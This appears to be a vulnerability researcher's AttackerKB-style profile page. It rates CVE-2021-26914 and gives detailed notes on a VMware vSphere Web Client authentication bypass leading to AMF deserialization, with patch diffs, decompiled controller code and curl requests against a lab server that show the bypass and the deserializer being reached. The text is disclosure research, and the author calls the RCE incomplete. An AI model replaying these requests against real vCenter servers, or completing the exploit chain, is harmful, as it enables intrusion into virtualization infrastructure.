wvu-r7 (437)
Last Login: January 24, 2022
wvu-r7's Latest (20) Contributions
Technical Analysis
Attacker value is very high because CVE-2021-26914 is RCE as SYSTEM
in a mobile VPN server, and successful exploitation may allow an attacker to pivot into an internal network.
Exploitability is also very high because the vulnerability can be trivially exploited in a single, unauthenticated HTTP request.
Technical details have already been published. A Metasploit module and an InsightVM check are both available.
Technical Analysis
The Long Tail of CVE-2017-5641
This is not CVE-2021-21980 or CVE-2021-22049 but rather a curious case of AMF deserialization that was patched against auth bypass in the same update. My notes are as follows. RCE is incomplete, but maybe you can finish it!
Analyzing the patch and discovering the auth bypass
public void doFilter(ServletRequest paramServletRequest, ServletResponse paramServletResponse, FilterChain paramFilterChain) throws IOException, ServletException { @@ -90,13 +122,11 @@ public class SessionManagementFilter implements Filter { SessionUtil.setHttpRequest(httpServletRequest); addHstsHeader(httpServletRequest, httpServletResponse); String str = httpServletRequest.getRequestURI(); - boolean bool = str.endsWith("download/logs"); - if (this._clientIdSecurityEnabled && bool) { - boolean bool1 = validateClientId(httpServletRequest, httpServletResponse); - if (!bool1) { - httpServletResponse.setStatus(401); - return; - } + if (this._authenticationProtectionEnabled && + !isSessionAuthenticated(httpServletRequest.getSession()) && !SessionUtil.isRequestWithValidSessionIndexCookie(httpServletRequest)) { + _logger.warn("Rejecting request for URI: " + str + " without a valid client id!"); + httpServletResponse.setStatus(401); + return; } if (this._isH5Client || str.endsWith(".html")) { HttpSession httpSession = httpServletRequest.getSession(true);
private boolean validateClientId(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) { String str1 = SessionUtil.getClientId(paramHttpServletRequest.getSession()); String str2 = extractClientId(paramHttpServletRequest); return (str1 != null || str2 != null); }
private String extractClientId(HttpServletRequest paramHttpServletRequest) { String str = paramHttpServletRequest.getHeader("webClientSessionId"); if (str == null) str = paramHttpServletRequest.getParameter("webClientSessionId"); return str; }
Testing a GET
request without the webClientSessionId
parameter
wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs * Trying 172.16.57.237:443... * Connected to 172.16.57.237 (172.16.57.237) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.237; C=US * start date: Nov 30 23:59:14 2021 GMT * expire date: Dec 1 11:59:14 2023 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > GET /vsphere-client/download/logs HTTP/1.1 > Host: 172.16.57.237 > User-Agent: curl/7.80.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 401 < Set-Cookie: JSESSIONID=87EF28C1FB437E91D3A46739E6FC1774; Path=/vsphere-client; Secure; HttpOnly < Content-Length: 0 < Date: Sat, 04 Dec 2021 00:57:08 GMT < Server: Anonymous < * Connection #0 to host 172.16.57.237 left intact wvu@kharak:~$
Testing a GET
request with the webClientSessionId
parameter
wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs?webClientSessionId=nope * Trying 172.16.57.237:443... * Connected to 172.16.57.237 (172.16.57.237) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.237; C=US * start date: Nov 30 23:59:14 2021 GMT * expire date: Dec 1 11:59:14 2023 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > GET /vsphere-client/download/logs?webClientSessionId=nope HTTP/1.1 > Host: 172.16.57.237 > User-Agent: curl/7.80.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 405 < Set-Cookie: JSESSIONID=3DDE7D387076B9E7814A940DACA2B6B4; Path=/vsphere-client; Secure; HttpOnly; SameSite=None < Allow: POST < Cache-Control: no-cache, no-store, max-age=0, must-revalidate < Pragma: no-cache < Expires: 0 < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < X-XSS-Protection: 1; mode=block < X-Frame-Options: SAMEORIGIN < X-Content-Type-Options: nosniff < Content-Type: text/html;charset=utf-8 < Content-Language: en < Content-Length: 749 < Date: Sat, 04 Dec 2021 00:57:46 GMT < Server: Anonymous < * Connection #0 to host 172.16.57.237 left intact <!doctype html><html lang="en"><head><title>HTTP Status 405 – Method Not Allowed</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 405 – Method Not Allowed</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> Request method 'GET' not supported</p><p><b>Description</b> The method received in the request-line is known by the origin server but not supported by the target resource.</p><hr class="line" /><h3>Apache Tomcat/8.5.61</h3></body></html>wvu@kharak:~$
[2021-12-04T00:57:46.537Z] [WARN ] http-nio-9090-exec-2 70000066 ###### ###### o.s.web.servlet.mvc.support.DefaultHandlerExceptionResolver Resolved exception caused by handler execution: org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'GET' not supported
Testing a POST
request with the webClientSessionId
parameter
wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d webClientSessionId=nope * Trying 172.16.57.237:443... * Connected to 172.16.57.237 (172.16.57.237) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.237; C=US * start date: Nov 30 23:59:14 2021 GMT * expire date: Dec 1 11:59:14 2023 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /vsphere-client/download/logs HTTP/1.1 > Host: 172.16.57.237 > User-Agent: curl/7.80.0 > Accept: */* > Content-Length: 23 > Content-Type: application/x-www-form-urlencoded > * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Set-Cookie: JSESSIONID=950054453E83C0E133D9048BD60EEB61; Path=/vsphere-client; Secure; HttpOnly < Cache-Control: no-cache, no-store, max-age=0, must-revalidate < Pragma: no-cache < Expires: 0 < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < X-XSS-Protection: 1; mode=block < X-Frame-Options: SAMEORIGIN < X-Content-Type-Options: nosniff < Content-Length: 0 < Date: Sat, 04 Dec 2021 00:58:47 GMT < Server: Anonymous < * Connection #0 to host 172.16.57.237 left intact wvu@kharak:~$
[2021-12-04T00:58:47.452Z] [WARN ] http-nio-9090-exec-5 70000067 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController ClientId is null. [2021-12-04T00:58:47.452Z] [ERROR] http-nio-9090-exec-5 70000067 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController There is no spec for downloading logs in the request.
Analyzing the DownloadLogController
class and discovering AMF deserialization
@RequestMapping(method = {RequestMethod.POST}) public void downloadLogBundles(final HttpServletRequest request, final HttpServletResponse response) throws IOException, Exception { final DownloadingLogsTask downloadingLogsTask; final HttpSession session = request.getSession(); Map<String, String[]> map = request.getParameterMap(); final String clientId = SessionUtil.getClientId(httpSession); if (str == null) _logger.warn("ClientId is null."); final SelectedLogsSpec selectedLogsSpec = processSelectedLogsSpecParameter(map); final Collection<LogBundleDownloadSpec> logBundleDownloadSpecs = processLogBundleDownloadSpecs(map); if (selectedLogsSpec == null && collection == null) { _logger.error("There is no spec for downloading logs in the request."); return; } ManagedObjectReference managedObjectReference = DownloadingLogsTask.findTaskTarget(selectedLogsSpec, collection); if (managedObjectReference != null) { int i = extractFileIdParam(map); downloadingLogsTask = new DownloadingLogsTask(str, managedObjectReference, i, this._queryExecutor, this._taskRegistry); } else { downloadingLogsTask = null; } try { final ZipOutputStream zipStream = new ZipOutputStream((OutputStream)response.getOutputStream()); Runnable runnable = new Runnable() { public void run() { try { SessionUtil.setHttpRequest(request); SessionUtil.setHttpSession(session); response.setContentType("application/zip"); if (selectedLogsSpec == null) { KeyStore keyStore = DownloadLogController.this._keystoreService.getKeyStore(); Map map = DownloadLogController.this.parseParameters(logBundleDownloadSpecs, clientId, keyStore); DownloadLogController.this.writeZipFile(map, zipStream, clientId, downloadingLogsTask); } else { if (selectedLogsSpec.vCenterLogsIncluded) { ManagedObjectReference managedObjectReference = DownloadLogController.this.invokeGenerateLogBundlesTask(selectedLogsSpec.targetObjectReference, clientId); DownloadLogController.this.writeVcLogsToStream(zipStream, managedObjectReference, selectedLogsSpec, clientId, downloadingLogsTask); DownloadLogController.this.writeHostLogsToStream(zipStream, selectedLogsSpec, clientId, downloadingLogsTask); } else { DownloadLogController.this.writeHostLogsToStream(zipStream, selectedLogsSpec, clientId, downloadingLogsTask); } zipStream.finish(); } if (downloadingLogsTask != null) downloadingLogsTask.updateState(TaskState.SUCCESS, null); } catch (InterruptedException interruptedException) { DownloadLogController._logger.info("Downloading logs task thread was interrupted."); Thread.currentThread().interrupt(); } catch (WriteIOException writeIOException) { if (downloadingLogsTask != null) { DownloadLogController._logger.info("Downloading logs is cancelled."); DownloadLogController._logger.debug("Exception in downloading logs: ", writeIOException); downloadingLogsTask.updateState(TaskState.CANCELED, null); } } catch (Exception exception) { DownloadLogController._logger.error("Error downloading logs.", exception); if (downloadingLogsTask != null) { TaskState taskState = downloadingLogsTask.getState(); if (!TaskState.CANCELED.equals(taskState)) downloadingLogsTask.updateState(TaskState.ERROR, exception); } } } }; FutureTask futureTask = new FutureTask(runnable, null); if (downloadingLogsTask != null) TaskUtil.addClientTaskKeyFutureCloseablePair(downloadingLogsTask .getKey(), futureTask, zipOutputStream); try { ExecutorUtil.executeTasks( Collections.singleton(futureTask), this._executor); } catch (InterruptedException interruptedException) {} if (downloadingLogsTask != null) TaskUtil.removeClientTaskKeyFromMap(downloadingLogsTask.getKey()); } catch (Exception exception) { if (downloadingLogsTask != null && TaskState.RUNNING == (downloadingLogsTask.getClientTaskInfo()).state) downloadingLogsTask.updateState(TaskState.ERROR, exception); throw exception; } }
private SelectedLogsSpec processSelectedLogsSpecParameter(Map<String, String[]> paramMap) throws IOException { String[] arrayOfString = paramMap.get("SelectedLogsSpec"); if (ArrayUtil.isNullOrEmpty((Object[])arrayOfString)) return null; return parseSelectedLogsSpec(arrayOfString[0]); }
private static SelectedLogsSpec parseSelectedLogsSpec(String paramString) throws IOException { Base64.Decoder decoder = new Base64.Decoder(); decoder.decode(paramString); byte[] arrayOfByte = decoder.flush(); ClassLoader classLoader1 = TypeMarshallingContext.getTypeMarshallingContext().getClassLoader(); ClassLoader classLoader2 = SelectedLogsSpec.class.getClassLoader(); Amf3Input amf3Input = new Amf3Input(getAmfSerializationContext(classLoader2)); amf3Input.setInputStream(new ByteArrayInputStream(arrayOfByte)); SelectedLogsSpec selectedLogsSpec = null; try { while (amf3Input.available() > 0) { Object object = amf3Input.readObject(); if (object instanceof SelectedLogsSpec) { selectedLogsSpec = (SelectedLogsSpec)object; } else if (object instanceof Object[]) { for (Object object1 : (Object[])object) { if (object1 instanceof SelectedLogsSpec) { selectedLogsSpec = (SelectedLogsSpec)object1; break; } } } else if (object instanceof Map) { for (SelectedLogsSpec selectedLogsSpec1 : ((Map)object).values()) { if (selectedLogsSpec1 instanceof SelectedLogsSpec) { selectedLogsSpec = selectedLogsSpec1; break; } } } if (selectedLogsSpec != null) break; } } catch (ClassNotFoundException classNotFoundException) { _logger.warn("The AMF deserialization fails.", classNotFoundException); } finally { amf3Input.close(); TypeMarshallingContext.getTypeMarshallingContext() .setClassLoader(classLoader1); } return selectedLogsSpec; }
Testing AMF deserialization using a bogus string
wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d "webClientSessionId=nope&SelectedLogsSpec=lol" * Trying 172.16.57.237:443... * Connected to 172.16.57.237 (172.16.57.237) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.237; C=US * start date: Nov 30 23:59:14 2021 GMT * expire date: Dec 1 11:59:14 2023 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /vsphere-client/download/logs HTTP/1.1 > Host: 172.16.57.237 > User-Agent: curl/7.80.0 > Accept: */* > Content-Length: 44 > Content-Type: application/x-www-form-urlencoded > * Mark bundle as not supporting multiuse < HTTP/1.1 500 < Set-Cookie: JSESSIONID=587387E51FA794E6CE03FB9DBB454777; Path=/vsphere-client; Secure; HttpOnly < Cache-Control: no-cache, no-store, max-age=0, must-revalidate < Pragma: no-cache < Expires: 0 < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < X-XSS-Protection: 1; mode=block < X-Frame-Options: SAMEORIGIN < X-Content-Type-Options: nosniff < Content-Type: text/html;charset=utf-8 < Content-Length: 2977 < Date: Sat, 04 Dec 2021 01:02:05 GMT < Connection: close < Server: Anonymous < <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- saved from url=(0014)about:internet --> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css" media="screen"> html { background: #3075ab; /* Old browsers */ background: -moz-linear-gradient(top, #3a8dc8 0%, #183a62 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#3a8dc8), color-stop(100%,#183a62)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* IE10+ */ background: linear-gradient(to bottom, #3a8dc8 0%,#183a62 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#3a8dc8', endColorstr='#183a62',GradientType=0 ); /* IE6-9 */ background-repeat: no-repeat; height: 100%; overflow: auto; margin: 0; padding: 0; } #errorAreaWrapper { position: relative; float: left; left: 50%; margin-top: 30px; } #errorArea { position: relative; float: left; left: -50%; padding: 15px; background-color: white; font-size: 14px; color: #000000; font-family: Georgia, Arial, Helvetica, sans-serif; border: 1px solid black; } #errorImage { border: 0; margin-right: 10px; display: inline-block; vertical-align: top; } #errorAllText { display: inline-block; vertical-align: top; min-width: 500px; max-width: 700px; } #errorSorry { font-weight: bold; } #errorMessage { padding-top: 10px; padding-bottom: 10px; } #errorCheckLog { font-style: italic; } </style> </head> <body> <div id="errorAreaWrapper"> <div id="errorArea"> <div id="errorImage"><img src="/vsphere-client/assets/warning48x.png" alt="Error" /></div> <div id="errorAllText"> <div id="errorSorry">A server error occurred.</div> <div id="errorMessage">a partial block (3 of 4 bytes) was dropped, decoded data is probably truncated!</div> <div id="errorCheckLog">Check the vSphere Web Client server logs for details.</div> </div> </div> </div> </body> </html> * Closing connection 0 * TLSv1.2 (OUT), TLS alert, close notify (256): wvu@kharak:~$
[2021-12-04T01:02:05.830Z] [WARN ] http-nio-9090-exec-8 70000068 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController ClientId is null. [2021-12-04T01:02:05.831Z] [ERROR] http-nio-9090-exec-8 o.a.c.c.C.[.[localhost].[/vsphere-client].[downloadManager] Servlet.service() for servlet [downloadManager] in context with path [/vsphere-client] threw exception [Request processing failed; nested exception is java.lang.IllegalStateException: a partial block (3 of 4 bytes) was dropped, decoded data is probably truncated!] with root cause java.lang.IllegalStateException: a partial block (3 of 4 bytes) was dropped, decoded data is probably truncated! at flex.messaging.util.Base64$Decoder.flush(Base64.java:136) at com.vmware.vsphere.client.logbundle.DownloadLogController.parseSelectedLogsSpec(DownloadLogController.java:732) at com.vmware.vsphere.client.logbundle.DownloadLogController.processSelectedLogsSpecParameter(DownloadLogController.java:584) at com.vmware.vsphere.client.logbundle.DownloadLogController.downloadLogBundles(DownloadLogController.java:201) at sun.reflect.GeneratedMethodAccessor196.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.bind.annotation.support.HandlerMethodInvoker.invokeHandlerMethod(HandlerMethodInvoker.java:181) at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.invokeHandlerMethod(AnnotationMethodHandlerAdapter.java:440) at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.handle(AnnotationMethodHandlerAdapter.java:428) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970) at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872) at javax.servlet.http.HttpServlet.service(HttpServlet.java:661) at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846) at javax.servlet.http.HttpServlet.service(HttpServlet.java:742) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:317) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:127) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:91) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:114) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:150) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:170) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:66) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at com.vmware.vise.security.websso.SecurityRequestWrapperFilter.doFilterInternal(SecurityRequestWrapperFilter.java:47) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:214) at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:177) at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:347) at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:263) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.security.SessionManagementFilter.doFilter(SessionManagementFilter.java:177) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vsphere.client.logging.MDCLogFilter.doFilterInternal(MDCLogFilter.java:41) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.extensionfw.DeploymentFilter.doFilter(DeploymentFilter.java:55) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.util.jsp.JspFilter.doFilterInternal(JspFilter.java:91) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.security.SameSiteCookieHeaderFilter.doFilter(SameSiteCookieHeaderFilter.java:73) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:544) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:764) at org.eclipse.virgo.web.tomcat.support.ApplicationNameTrackingValve.invoke(ApplicationNameTrackingValve.java:33) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:616) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1634) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748)
Testing AMF deserialization using a Base64-encoded string
wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d "webClientSessionId=nope&SelectedLogsSpec=QQ==" * Trying 172.16.57.237:443... * Connected to 172.16.57.237 (172.16.57.237) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.237; C=US * start date: Nov 30 23:59:14 2021 GMT * expire date: Dec 1 11:59:14 2023 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /vsphere-client/download/logs HTTP/1.1 > Host: 172.16.57.237 > User-Agent: curl/7.80.0 > Accept: */* > Content-Length: 45 > Content-Type: application/x-www-form-urlencoded > * Mark bundle as not supporting multiuse < HTTP/1.1 500 < Set-Cookie: JSESSIONID=1488241428F4AE1E7A8175ACAD6A276F; Path=/vsphere-client; Secure; HttpOnly < Cache-Control: no-cache, no-store, max-age=0, must-revalidate < Pragma: no-cache < Expires: 0 < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < X-XSS-Protection: 1; mode=block < X-Frame-Options: SAMEORIGIN < X-Content-Type-Options: nosniff < Content-Type: text/html;charset=utf-8 < Content-Length: 2920 < Date: Sat, 04 Dec 2021 01:02:59 GMT < Connection: close < Server: Anonymous < <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- saved from url=(0014)about:internet --> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css" media="screen"> html { background: #3075ab; /* Old browsers */ background: -moz-linear-gradient(top, #3a8dc8 0%, #183a62 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#3a8dc8), color-stop(100%,#183a62)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* IE10+ */ background: linear-gradient(to bottom, #3a8dc8 0%,#183a62 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( 